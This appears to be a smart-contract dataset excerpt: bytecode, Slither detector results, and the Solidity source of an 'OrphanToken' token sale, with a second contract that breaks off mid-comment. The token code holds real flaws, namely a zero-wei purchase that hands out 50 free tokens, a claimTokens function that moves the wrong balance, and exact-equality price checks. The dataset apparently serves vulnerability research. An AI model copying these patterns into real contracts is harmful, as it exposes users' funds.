a033316600090815260036020526040812081908190819060ff871660108110610a7457fe5b60020201600181015490945060ff1615610b57576001840154610a999060ff1661093b565b60018701805460ff19169055919450925090507f85dc6446ff3d623c89a7492b0a1eb7de6c8b56ea92bd01be1ebf0ecff32884013387604051600160a060020a03909216825260ff1660208201526040908101905180910390a184158015610b0a57506001840154610100900460ff165b15610b1c578354610b1c906001610825565b841515610b57578354600160a060020a0333169080156108fc0290604051600060405180830381858888f193505050501515610b5757600080fd5b505050505050565b60008080600360ff86161115610b7457600080fd5b5060009150819050805b601060ff82161015610bd557600160a060020a033316600090815260036020526040902060ff821660108110610bb057fe5b600202016001015460ff161515610bcd5780925060019150610bd5565b600101610b7e565b811515610be157600080fd5b6060604051908101604052803481526020018660ff1681526020018515158152506003600033600160a060020a0316600160a060020a031681526020019081526020016000208460ff16601081101515610c3757fe5b6002020181518155602082015160018201805460ff191660ff929092169190911790556040820151600190910180549115156101000261ff0019909216919091179055507fe06743cb2a380fdd4e38ac533ae4aa6ee1b1c09925c4ff638d0379af703da2cc33863486604051600160a060020a03909416845260ff928316602085015260408085019290925290911660608301526080909101905180910390a1505092915050565b60008080600360ff87161115610cf457600080fd5b841515610d0357859250610d34565b600f60ff85161115610d1457600080fd5b8591508415610d24578160040191505b50601060ff841602908101915081905b50509392505050565b600033600160a060020a039081169083160142018160018501801515610d5f57fe5b826000194301400895945050505050565b6000805461271061ffff80831685028290049262010000810490911683029190910490818303906401000000009004600160a060020a03166108fc82150282604051600060405180830381858888f193505050501515610dcf57600080fd5b600154600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610e0257600080fd5b5050909103919050565b6040805190810160405260008082526020820152905600a165627a7a72305820f14d9055cd5d3e5c0287a0d7b69882bb4a071d4319c5fa2ea27f28f7c8e4224d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,385 |
0x9bebde538d404581e43438574082b3bc444d6c30
|
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OrphanToken is StandardToken {
string public constant name = "OrphanToken";
string public constant symbol = "ORP";
uint8 public constant decimals =18;
uint256 public constant INITIAL_SUPPLY = 1 * 10**8 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function OrphanToken(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 50 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 1 * 10**0 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 5 * 10**0 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 23 * 10**0 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 115 * 10**0 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 23 * 10**1 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 23 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 2 ether){
amountOfTokens = 46 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 3 ether){
amountOfTokens = 69 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 4 ether){
amountOfTokens = 92 * 10**2 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(address(this).balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
emit Transfer(this, owner, balance);
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101d857806318160ddd1461023257806323b872dd1461025b5780632ff2e9dc146102d4578063313ce567146102fd5780634042b66f1461032c57806348c54b9d14610355578063661884631461036a57806370a08231146103c457806378f7aeee146104115780638da5cb5b1461043a57806395d89b411461048f578063a6f9dae11461051d578063a9059cbb1461056e578063b66a0e5d146105c8578063bef97c87146105dd578063d73dd6231461060a578063dd62ed3e14610664578063e36b0b37146106d0578063e985e367146106e5578063ec8ac4d814610712578063f41e60c514610754578063fc38ce1914610779575b610147336107b0565b50005b341561015557600080fd5b61015d61095a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019d578082015181840152602081019050610182565b50505050905090810190601f1680156101ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e357600080fd5b610218600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610993565b604051808215151515815260200191505060405180910390f35b341561023d57600080fd5b610245610a85565b6040518082815260200191505060405180910390f35b341561026657600080fd5b6102ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a8b565b604051808215151515815260200191505060405180910390f35b34156102df57600080fd5b6102e7610e7e565b6040518082815260200191505060405180910390f35b341561030857600080fd5b610310610e8f565b604051808260ff1660ff16815260200191505060405180910390f35b341561033757600080fd5b61033f610e94565b6040518082815260200191505060405180910390f35b341561036057600080fd5b610368610e9a565b005b341561037557600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611033565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c4565b6040518082815260200191505060405180910390f35b341561041c57600080fd5b61042461130d565b6040518082815260200191505060405180910390f35b341561044557600080fd5b61044d611313565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049a57600080fd5b6104a2611339565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e25780820151818401526020810190506104c7565b50505050905090810190601f16801561050f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052857600080fd5b610554600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611372565b604051808215151515815260200191505060405180910390f35b341561057957600080fd5b6105ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d2565b604051808215151515815260200191505060405180910390f35b34156105d357600080fd5b6105db61172a565b005b34156105e857600080fd5b6105f06117a3565b604051808215151515815260200191505060405180910390f35b341561061557600080fd5b61064a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117b6565b604051808215151515815260200191505060405180910390f35b341561066f57600080fd5b6106ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119b2565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b6106e3611a51565b005b34156106f057600080fd5b6106f8611aca565b604051808215151515815260200191505060405180910390f35b61073e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107b0565b6040518082815260200191505060405180910390f35b341561075f57600080fd5b61077760048080351515906020019091905050611add565b005b341561078457600080fd5b61079a6004808035906020019091905050611b56565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156107f257600080fd5b60011515600860149054906101000a900460ff16151514151561081457600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925034915061084582611b56565b9050600081141561085557600080fd5b61086a82600654611c2190919063ffffffff16565b60068190555061088581600754611c2190919063ffffffff16565b6007819055506108b88582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c3f565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561094f57600080fd5b809350505050919050565b6040805190810160405280600b81526020017f4f727068616e546f6b656e00000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610aa457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ae057600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2e57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bb957600080fd5b600360009054906101000a900460ff161515610bd457600080fd5b610c2683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8d83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a6305f5e1000281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f7157600080fd5b610f7a306112c4565b9050610fa8600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114d2565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611144576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8565b6111578382611e6490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4f5250000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561140c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600060026004602082020160003690501415156114eb57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561152757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561157557600080fd5b600360009054906101000a900460ff16151561159057600080fd5b6115e283600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178657600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b600061184782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600060026004602082020160003690501415156119cb57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aad57600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3957600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611b6283611e7d565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611c17577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611c1b565b8091505b50919050565b6000808284019050838110151515611c3557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611c7c57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611cca57600080fd5b611d1c83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db183600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611e7257fe5b818303905092915050565b600080600090506000831415611e9b57601260ff16600a0a60320290505b66038d7ea4c68000831415611eb857601260ff16600a0a60010290505b6611c37937e08000831415611ed557601260ff16600a0a60050290505b662386f26fc10000831415611ef257601260ff16600a0a60170290505b66b1a2bc2ec50000831415611f0f57601260ff16600a0a60730290505b67016345785d8a0000831415611f2d57601260ff16600a0a60e60290505b670de0b6b3a7640000831415611f4c57601260ff16600a0a6108fc0290505b671bc16d674ec80000831415611f6b57601260ff16600a0a6111f80290505b6729a2241af62c0000831415611f8a57601260ff16600a0a611af40290505b673782dace9d900000831415611fa957601260ff16600a0a6123f00290505b809150509190505600a165627a7a723058203f5d9c5b70e929412bfc49cac1d455b2a25d3bcf1d2f5db04f0b28b023b479e30029
|
{"success": true, "error": null, "results": {}}
| 9,386 |
0x62b2cc50f7001a29e30772051c950c9eecbb6aa7
|
/**
*Submitted for verification at Etherscan.io on 2021-01-08
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
